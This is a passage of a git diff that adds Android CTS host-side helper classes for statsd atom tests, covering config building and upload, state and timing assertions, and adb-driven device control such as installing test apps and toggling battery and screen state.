+     * @param data             list of EventMetricData from statsd, produced by
+     *                         getReportMetricListData()
+     * @param wait             expected duration (in ms) between state changes; asserts that the
+     *                         actual wait
+     *                         time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
+     *                         assertion.
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public static void assertStatesOccurred(List<Set<Integer>> stateSets,
+            List<StatsLog.EventMetricData> data,
+            int wait, Function<AtomsProto.Atom, Integer> getStateFromAtom) {
+        // Sometimes, there are more events than there are states.
+        // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
+        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
+        int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
+        for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
+            AtomsProto.Atom atom = data.get(dataIndex).getAtom();
+            int state = getStateFromAtom.apply(atom);
+            // If state is in the current state set, we do not assert anything.
+            // If it is not, we expect to have transitioned to the next state set.
+            if (stateSets.get(stateSetIndex).contains(state)) {
+                // No need to assert anything. Just log it.
+                LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
+                        + "in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+            } else {
+                stateSetIndex += 1;
+                LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
+                        + " in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
+                assertWithMessage("Too many states").that(stateSetIndex)
+                        .isLessThan(stateSets.size());
+                assertWithMessage(String.format("Is in wrong state (%d)", state))
+                        .that(stateSets.get(stateSetIndex)).contains(state);
+                if (wait > 0) {
+                    assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
+                            wait / 2, wait * 5);
+                }
+            }
+        }
+        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
+    }
+
+    /**
+     * Asserts that the two events are within the specified range of each other.
+     *
+     * @param d0        the event that should occur first
+     * @param d1        the event that should occur second
+     * @param minDiffMs d0 should precede d1 by at least this amount
+     * @param maxDiffMs d0 should precede d1 by at most this amount
+     */
+    public static void assertTimeDiffBetween(
+            StatsLog.EventMetricData d0, StatsLog.EventMetricData d1,
+            int minDiffMs, int maxDiffMs) {
+        long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
+        assertWithMessage("Illegal time difference")
+                .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
+    }
+
+    // Checks that a timestamp has been truncated to be a multiple of 5 min
+    public static void assertTimestampIsTruncated(long timestampNs) {
+        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
+        assertWithMessage("Timestamp is not truncated")
+                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
+    }
+
+    /**
+     * Removes all elements from data prior to the first occurrence of an element of state. After
+     * this method is called, the first element of data (if non-empty) is guaranteed to be an
+     * element in state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public static void popUntilFind(List<StatsLog.EventMetricData> data, Set<Integer> state,
+            Function<AtomsProto.Atom, Integer> getStateFromAtom) {
+        int firstStateIdx;
+        for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
+            AtomsProto.Atom atom = data.get(firstStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (firstStateIdx == 0) {
+            // First first element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(0, firstStateIdx).clear();
+    }
+
+    /**
+     * Removes all elements from data after the last occurrence of an element of state. After this
+     * method is called, the last element of data (if non-empty) is guaranteed to be an element in
+     * state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public static void popUntilFindFromEnd(List<StatsLog.EventMetricData> data, Set<Integer> state,
+            Function<AtomsProto.Atom, Integer> getStateFromAtom) {
+        int lastStateIdx;
+        for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
+            AtomsProto.Atom atom = data.get(lastStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (lastStateIdx == data.size() - 1) {
+            // Last element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(lastStateIdx + 1, data.size()).clear();
+    }
+
+    private AtomTestUtils() {}
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
new file mode 100644
index 0000000..0452161
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.FieldFilter;
+import com.android.internal.os.StatsdConfigProto.FieldMatcher;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.MessageMatcher;
+import com.android.internal.os.StatsdConfigProto.Position;
+import com.android.internal.os.StatsdConfigProto.Predicate;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimplePredicate;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.TimeUnit;
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import com.google.common.io.Files;
+
+import java.io.File;
+import java.util.Arrays;
+import java.util.List;
+
+import javax.annotation.Nullable;
+
+public final class ConfigUtils {
+    public static final long CONFIG_ID = "cts_config".hashCode(); // evaluates to -1572883457
+    public static final String CONFIG_ID_STRING = String.valueOf(CONFIG_ID);
+
+    // Attribution chains are the first field in atoms.
+    private static final int ATTRIBUTION_CHAIN_FIELD_NUMBER = 1;
+    // Uids are the first field in attribution nodes.
+    private static final int ATTRIBUTION_NODE_UID_FIELD_NUMBER = 1;
+    // Uids as standalone fields are the first field in atoms.
+    private static final int UID_FIELD_NUMBER = 1;
+
+    // adb shell commands
+    private static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+    private static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+
+    /**
+     * Create a new config with common fields filled out, such as allowed log sources and
+     * default pull packages.
+     *
+     * @param pkgName test app package from which pushed atoms will be sent
+     */
+    public static StatsdConfig.Builder createConfigBuilder(String pkgName) {
+        return StatsdConfig.newBuilder()
+                .setId(CONFIG_ID)
+                .addAllowedLogSource("AID_SYSTEM")
+                .addAllowedLogSource("AID_BLUETOOTH")
+                // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
+                .addAllowedLogSource("com.android.bluetooth")
+                .addAllowedLogSource("AID_LMKD")
+                .addAllowedLogSource("AID_RADIO")
+                .addAllowedLogSource("AID_ROOT")
+                .addAllowedLogSource("AID_STATSD")
+                .addAllowedLogSource("com.android.systemui")
+                .addAllowedLogSource(pkgName)
+                .addDefaultPullPackages("AID_RADIO")
+                .addDefaultPullPackages("AID_SYSTEM")
+                .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
+    }
+
+    /**
+     * Adds an event metric for the specified atom. The atom should contain a uid either within
+     * an attribution chain or as a standalone field. Only those atoms which contain the uid of
+     * the test app will be included in statsd's report.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     * @param uidInAttributionChain if true, the uid is part of the attribution chain; if false,
+     *    uid is a standalone field
+     * @param pkgName test app package from which atom will be logged
+     */
+    public static void addEventMetricForUidAtom(StatsdConfig.Builder config, int atomId,
+            boolean uidInAttributionChain, String pkgName) {
+        FieldValueMatcher.Builder fvm = createUidFvm(uidInAttributionChain, pkgName);
+        addEventMetric(config, atomId, Arrays.asList(fvm));
+    }
+
+    /**
+     * Adds an event metric for the specified atom. All such atoms received by statsd will be
+     * included in the report. If only atoms meeting certain constraints should be added to the
+     * report, use #addEventMetric(int atomId, List<FieldValueMatcher.Builder> fvms instead.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     */
+    public static void addEventMetric(StatsdConfig.Builder config, int atomId) {
+        addEventMetric(config, atomId, /*fvms=*/null);
+    }
+
+    /**
+     * Adds an event metric to the config for the specified atom. The atom's fields must meet
+     * the constraints specified in fvms for the atom to be included in statsd's report.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     * @param fvms list of constraints that atoms are filtered on
+     */
+    public static void addEventMetric(StatsdConfig.Builder config, int atomId,
+            @Nullable List<FieldValueMatcher.Builder> fvms) {
+        final String matcherName = "Atom matcher" + System.nanoTime();
+        final String eventName = "Event " + System.nanoTime();
+
+        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        if (fvms != null) {
+            for (FieldValueMatcher.Builder fvm : fvms) {
+                sam.addFieldValueMatcher(fvm);
+            }
+        }
+
+        config.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(matcherName.hashCode())
+                .setSimpleAtomMatcher(sam));
+        config.addEventMetric(EventMetric.newBuilder()
+                .setId(eventName.hashCode())
+                .setWhat(matcherName.hashCode()));
+    }
+
+    /**
+     * Adds a gauge metric for a pulled atom with a uid field to the config. The atom will be
+     * pulled when an AppBreadcrumbReported atom is logged to statsd, and only those pulled atoms
+     * containing the uid of the test app will be included in statsd's report.
+     *
+     * @param config
+     * @param atomId index of atom within atoms.proto
+     * @param uidInAttributionChain if true, the uid is part of the attribution chain; if false, uid
+     *    is a standalone field
+     * @param pkgName test app package from which atom will be logged
+     */
+    public static void addGaugeMetricForUidAtom(StatsdConfig.Builder config, int atomId,
+            boolean uidInAttributionChain, String pkgName) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/true, uidInAttributionChain, pkgName,
+                /*dimensionsInWhat=*/null);
+    }
+
+    /**
+     * Equivalent to addGaugeMetricForUidAtom except that the output in the report is sliced by the
+     * specified dimensions.
+     *
+     * @param dimensionsInWhat dimensions to slice the output by
+     */
+    public static void addGaugeMetricForUidAtomWithDimensions(StatsdConfig.Builder config,
+            int atomId, boolean uidInAttributionChain, String pkgName,
+            FieldMatcher.Builder dimensionsInWhat) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/true, uidInAttributionChain, pkgName,
+                dimensionsInWhat);
+    }
+
+    /**
+     * Adds a gauge metric for a pulled atom to the config. The atom will be pulled when an
+     * AppBreadcrumbReported atom is logged to statsd.
+     *
+     * @param config
+     * @param atomId index of the atom within atoms.proto
+     * @param dimensionsInWhat dimensions to slice the output by
+     */
+    public static void addGaugeMetric(StatsdConfig.Builder config, int atomId) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/false,
+                /*uidInAttributionChain=*/false, /*pkgName=*/null, /*dimensionsInWhat=*/null);
+    }
+
+    /**
+     * Equivalent to addGaugeMetric except that output in the report is sliced by the specified
+     * dimensions.
+     *
+     * @param dimensionsInWhat dimensions to slice the output by
+     */
+    public static void addGaugeMetricWithDimensions(StatsdConfig.Builder config, int atomId,
+            FieldMatcher.Builder dimensionsInWhat) {
+        addGaugeMetricInternal(config, atomId, /*filterByUid=*/false,
+                /*uidInAttributionChain=*/false, /*pkgName=*/null, dimensionsInWhat);
+    }
+
+    private static void addGaugeMetricInternal(StatsdConfig.Builder config, int atomId,
+            boolean filterByUid, boolean uidInAttributionChain, @Nullable String pkgName,
+            @Nullable FieldMatcher.Builder dimensionsInWhat) {
+        final String gaugeName = "Gauge metric " + System.nanoTime();
+        final String whatName = "What atom matcher " + System.nanoTime();
+        final String triggerName = "Trigger atom matcher " + System.nanoTime();
+
+        // Add atom matcher for "what"
+        SimpleAtomMatcher.Builder whatMatcher = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        if (filterByUid && pkgName != null) {
+            whatMatcher.addFieldValueMatcher(createUidFvm(uidInAttributionChain, pkgName));
+        }
+        config.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(whatName.hashCode())
+                .setSimpleAtomMatcher(whatMatcher));
+
+        // Add atom matcher for trigger event
+        SimpleAtomMatcher.Builder triggerMatcher = SimpleAtomMatcher.newBuilder()
+                .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
+        config.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(triggerName.hashCode())
+                .setSimpleAtomMatcher(triggerMatcher));
+
+        // Add gauge metric
+        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+                .setId(gaugeName.hashCode())
+                .setWhat(whatName.hashCode())
+                .setTriggerEvent(triggerName.hashCode())
+                .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
+                .setBucket(TimeUnit.CTS)
+                .setSamplingType(GaugeMetric.SamplingType.FIRST_N_SAMPLES)
+                .setMaxNumGaugeAtomsPerBucket(10_000);
+        if (dimensionsInWhat != null) {
+            gaugeMetric.setDimensionsInWhat(dimensionsInWhat.build());
+        }
+        config.addGaugeMetric(gaugeMetric.build());
+    }
+
+    /**
+     * Creates a FieldValueMatcher.Builder object that matches atoms whose uid field is equal to
+     * the uid of pkgName.
+     *
+     * @param uidInAttributionChain if true, the uid is part of the attribution chain; if false, uid
+     * is a standalone field
+     * @param pkgName test app package from which atom will be logged
+     */
+    public static FieldValueMatcher.Builder createUidFvm(boolean uidInAttributionChain,
+            String pkgName) {
+        if (uidInAttributionChain) {
+            FieldValueMatcher.Builder nodeFvm = createFvm(ATTRIBUTION_NODE_UID_FIELD_NUMBER)
+                    .setEqString(pkgName);
+            return createFvm(ATTRIBUTION_CHAIN_FIELD_NUMBER)
+                    .setPosition(Position.ANY)
+                    .setMatchesTuple(MessageMatcher.newBuilder().addFieldValueMatcher(nodeFvm));
+        } else {
+            return createFvm(UID_FIELD_NUMBER).setEqString(pkgName);
+        }
+    }
+
+    /**
+     * Creates a FieldValueMatcher.Builder for a particular field. Note that the value still needs
+     * to be set.
+     *
+     * @param fieldNumber index of field within the atom
+     */
+    public static FieldValueMatcher.Builder createFvm(int fieldNumber) {
+        return FieldValueMatcher.newBuilder().setField(fieldNumber);
+    }
+
+    /**
+     * Upload a config to statsd.
+     */
+    public static void uploadConfig(ITestDevice device, StatsdConfig.Builder configBuilder)
+            throws Exception {
+        StatsdConfig config = configBuilder.build();
+        CLog.d("Uploading the following config to statsd:\n" + config.toString());
+
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+
+        // Push config to temporary location
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        device.pushFile(configFile, remotePath);
+
+        // Send config to statsd
+        device.executeShellCommand(String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
+                CONFIG_ID_STRING));
+
+        // Remove config from temporary location
+        device.executeShellCommand("rm " + remotePath);
+
+        // Sleep for a bit so that statsd receives config before more work is done within the test.
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+    }
+
+    /**
+     * Removes any pre-existing CTS configs from statsd.
+     */
+    public static void removeConfig(ITestDevice device) throws Exception {
+        device.executeShellCommand(String.join(" ", REMOVE_CONFIG_CMD, CONFIG_ID_STRING));
+    }
+
+    public static void uploadConfigForPushedAtomWithUid(ITestDevice device, String pkgName,
+            int atomId,
+            boolean useUidAttributionChain) throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addEventMetricForUidAtom(config, atomId, useUidAttributionChain, pkgName);
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPulledAtomWithUid(ITestDevice device, String pkgName,
+            int atomId,
+            boolean useUidAttributionChain) throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addGaugeMetricForUidAtom(config, atomId, useUidAttributionChain, pkgName);
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPushedAtom(ITestDevice device, String pkgName, int atomId)
+            throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addEventMetric(config, atomId);
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPushedAtoms(ITestDevice device, String pkgName, int[] atomIds)
+            throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        for (int atomId : atomIds) {
+            addEventMetric(config, atomId);
+        }
+        uploadConfig(device, config);
+    }
+
+    public static void uploadConfigForPulledAtom(ITestDevice device, String pkgName, int atomId)
+            throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder(pkgName);
+        addGaugeMetric(config, atomId);
+        uploadConfig(device, config);
+    }
+
+    private ConfigUtils() {
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
new file mode 100644
index 0000000..e937823
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
@@ -0,0 +1,425 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.service.battery.BatteryServiceDumpProto;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.util.Pair;
+
+import com.google.protobuf.InvalidProtocolBufferException;
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/**
+ * Contains utility functions for interacting with the device.
+ * Largely copied from incident's ProtoDumpTestCase.
+ */
+public final class DeviceUtils {
+    public static final String STATSD_ATOM_TEST_APK = "CtsStatsdAtomApp.apk";
+    public static final String STATSD_ATOM_TEST_PKG = "com.android.server.cts.device.statsdatom";
+
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    private static final String KEY_ACTION = "action";
+
+    // feature names
+    public static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+    public static final String DUMP_BATTERY_CMD = "dumpsys battery";
+
+    /**
+     * Runs device side tests.
+     *
+     * @param device Can be retrieved by running getDevice() in a class that extends DeviceTestCase
+     * @param pkgName Test package name, such as "com.android.server.cts.statsdatom"
+     * @param testClassName Test class name which can either be a fully qualified name or "." + a
+     *     class name; if null, all test in the package will be run
+     * @param testMethodName Test method name; if null, all tests in class or package will be run
+     * @return {@link TestRunResult} of this invocation
+     * @throws DeviceNotAvailableException
+     */
+    public static @Nonnull TestRunResult runDeviceTests(ITestDevice device, String pkgName,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, TEST_RUNNER, device.getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertThat(device.runInstrumentationTests(testRunner, listener)).isTrue();
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new Error("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new Error("No tests were run on the device");
+        }
+        if (result.hasFailedTests()) {
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+        return result;
+    }
+
+    /**
+     * Runs device side tests from the com.android.server.cts.device.statsdatom package.
+     */
+    public static @Nonnull TestRunResult runDeviceTestsOnStatsdApp(ITestDevice device,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        return runDeviceTests(device, STATSD_ATOM_TEST_PKG, testClassName, testMethodName);
+    }
+
+    /**
+     * Install the statsdatom CTS app to the device.
+     */
+    public static void installStatsdTestApp(ITestDevice device, IBuildInfo ctsBuildInfo)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        installTestApp(device, STATSD_ATOM_TEST_APK, STATSD_ATOM_TEST_PKG, ctsBuildInfo);
+    }
+
+    /**
+     * Install a test app to the device.
+     */
+    public static void installTestApp(ITestDevice device, String apkName, String pkgName,
+            IBuildInfo ctsBuildInfo) throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + apkName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(ctsBuildInfo);
+        final String result = device.installPackage(
+                buildHelper.getTestFile(apkName), /*reinstall=*/true, /*grantPermissions=*/true);
+        assertWithMessage("Failed to install " + apkName + ": " + result).that(result).isNull();
+        allowBackgroundServices(device, pkgName);
+    }
+
+    /**
+     * Required to successfully start a background service from adb, starting in O.
+     */
+    private static void allowBackgroundServices(ITestDevice device, String pkgName)
+            throws DeviceNotAvailableException {
+        String cmd = "cmd deviceidle tempwhitelist " + pkgName;
+        device.executeShellCommand(cmd);
+    }
+
+    /**
+     * Uninstall the statsdatom CTS app from the device.
+     */
+    public static void uninstallStatsdTestApp(ITestDevice device) throws Exception {
+        uninstallTestApp(device, STATSD_ATOM_TEST_PKG);
+    }
+
+    /**
+     * Uninstall the test app from the device.
+     */
+    public static void uninstallTestApp(ITestDevice device, String pkgName) throws Exception {
+        device.uninstallPackage(pkgName);
+    }
+
+    /**
+     * Run an adb shell command on device and parse the results as a proto of a given type.
+     *
+     * @param device Device to run cmd on
+     * @param parser Protobuf parser object, which can be retrieved by running MyProto.parser()
+     * @param cmd The adb shell command to run (e.g. "cmd stats update config")
+     *
+     * @throws DeviceNotAvailableException
+     * @throws InvalidProtocolBufferException Occurs if there was an error parsing the proto. Note
+     *     that a 0 length buffer is not necessarily an error.
+     * @return Proto of specified type
+     */
+    public static <T extends MessageLite> T getShellCommandOutput(@Nonnull ITestDevice device,
+            Parser<T> parser, String cmd)
+            throws DeviceNotAvailableException, InvalidProtocolBufferException {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        device.executeShellCommand(cmd, receiver);
+        try {
+            return parser.parseFrom(receiver.getOutput());
+        } catch (Exception ex) {
+            CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for cmd " + cmd);
+            throw ex;
+        }
+    }
+
+    /**
+     * Returns the UID of the host, which should always either be AID_SHELL (2000) or AID_ROOT (0).
+     */
+    public static int getHostUid(ITestDevice device) throws DeviceNotAvailableException {
+        String uidString = "";
+        try {
+            uidString = device.executeShellCommand("id -u");
+            return Integer.parseInt(uidString.trim());
+        } catch (NumberFormatException ex) {
+            CLog.e("Failed to get host's uid via shell command. Found " + uidString);
+            // Fall back to alternative method...
+            if (device.isAdbRoot()) {
+                return 0;
+            } else {
+                return 2000; // SHELL
+            }
+        }
+    }
+
+    /**
+     * Returns the UID of the statsdatom CTS test app.
+     */
+    public static int getStatsdTestAppUid(ITestDevice device) throws DeviceNotAvailableException {
+        return getAppUid(device, STATSD_ATOM_TEST_PKG);
+    }
+
+    /**
+     * Returns the UID of the test app.
+     */
+    public static int getAppUid(ITestDevice device, String pkgName)
+            throws DeviceNotAvailableException {
+        int currentUser = device.getCurrentUser();
+        String uidLine = device.executeShellCommand("cmd package list packages -U --user "
+                + currentUser + " " + pkgName);
+        String[] uidLineArr = uidLine.split(":");
+
+        // Package uid is located at index 2.
+        assertThat(uidLineArr.length).isGreaterThan(2);
+        int appUid = Integer.parseInt(uidLineArr[2].trim());
+        assertThat(appUid).isGreaterThan(10000);
+        return appUid;
+    }
+
+    /**
+     * Determines if the device has the given features.
+     *
+     * @param feature name of the feature (e.g. "android.hardware.bluetooth")
+     */
+    public static boolean hasFeature(ITestDevice device, String feature) throws Exception {
+        final String features = device.executeShellCommand("pm list features");
+        return features.contains(feature);
+    }
+
+    /**
+     * Runs an activity in a particular app.
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        runActivity(device, pkgName, activity, actionKey, actionValue,
+                AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    /**
+     * Runs an activity in a particular app for a certain period of time.
+     *
+     * @param pkgName name of package that contains the Activity
+     * @param activity name of the Activity class
+     * @param actionKey key of extra data that is passed to the Activity via an Intent
+     * @param actionValue value of extra data that is passed to the Activity via an Intent
+     * @param waitTimeMs duration that the activity runs for
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue, long waitTimeMs)
+            throws Exception {
+        try (AutoCloseable a = withActivity(device, pkgName, activity, actionKey, actionValue)) {
+            Thread.sleep(waitTimeMs);
+        }
+    }
+
+    /**
+     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
+     * when closed.
+     *
+     * <p>Example usage:
+     * <pre>
+     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
+     *         doStuff();
+     *     }
+     * </pre>
+     */
+    public static AutoCloseable withActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        String intentString;
+        if (actionKey != null && actionValue != null) {
+            intentString = actionKey + " " + actionValue;
+        } else {
+            intentString = null;
+        }
+
+        String cmd = "am start -n " + pkgName + "/." + activity;
+        if (intentString != null) {
+            cmd += " -e " + intentString;
+        }
+        device.executeShellCommand(cmd);
+
+        return () -> {
+            device.executeShellCommand("am force-stop " + pkgName);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        };
+    }
+
+    public static void setChargingState(ITestDevice device, int state) throws Exception {
+        device.executeShellCommand("cmd battery set status " + state);
+    }
+
+    public static void unplugDevice(ITestDevice device) throws Exception {
+        // On batteryless devices on Android P or above, the 'unplug' command
+        // alone does not simulate the really unplugged state.
+        //
+        // This is because charging state is left as "unknown". Unless a valid
+        // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
+        // framework does not consider the device as running on battery.
+        setChargingState(device, 3);
+        device.executeShellCommand("cmd battery unplug");
+    }
+
+    public static void plugInAc(ITestDevice device) throws Exception {
+        device.executeShellCommand("cmd battery set ac 1");
+    }
+
+    public static void turnScreenOn(ITestDevice device) throws Exception {
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        device.executeShellCommand("wm dismiss-keyguard");
+    }
+
+    public static void turnScreenOff(ITestDevice device) throws Exception {
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+    }
+
+    public static boolean hasBattery(ITestDevice device) throws Exception {
+        try {
+            BatteryServiceDumpProto batteryProto = getShellCommandOutput(device, BatteryServiceDumpProto.parser(),
+                    String.join(" ", DUMP_BATTERY_CMD, "--proto"));
+            LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
+            return batteryProto.getIsPresent();
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump batteryservice proto");
+            throw (e);
+        }
+    }
+
+    public static void resetBatteryStatus(ITestDevice device) throws Exception {
+        device.executeShellCommand("cmd battery reset");
+    }
+
+    public static String getProperty(ITestDevice device, String prop) throws Exception {
+        return device.executeShellCommand("getprop " + prop).replace("\n", "");
+    }
+
+    public static boolean checkDeviceFor(ITestDevice device, String methodName) throws Exception {
+        try {
+            runDeviceTestsOnStatsdApp(device, ".Checkers", methodName);
+            // Test passes, meaning that the answer is true.
